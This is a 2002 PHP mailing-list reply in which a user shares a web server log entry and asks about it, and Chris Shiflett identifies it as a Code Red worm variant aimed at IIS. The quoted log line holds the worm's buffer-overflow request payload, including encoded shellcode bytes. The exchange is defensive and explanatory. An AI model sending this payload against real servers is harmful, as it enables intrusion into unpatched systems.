Re: how to defend this atack?
| From: | Chris Shiflett | Date: | Sat, 13 Jul 2002 18:21:56 +0000 |
| Subject: | Re: how to defend this atack? | ||
| References: | 1 | Groups: | php.general |
| Request: | Send a blank email to php-general+get-107534@lists.php.net to get a copy of this message | ||
This looks like a variant of the code red worm and will only bother you if you are running IIS, which I would hope you are not. :-)
218.5.149.77 is apparently running an infected IIS Web server. You might want to let them know.
Happy hacking.
Chris
andy wrote:
Hi there, I am getting from time to time such GET requests. I think this is kind of a atack against the webserver. DNS maybe. Here is the log entry: 218.5.149.77 - - [13/Jul/2002:19:57:09 +0200] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3% u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 321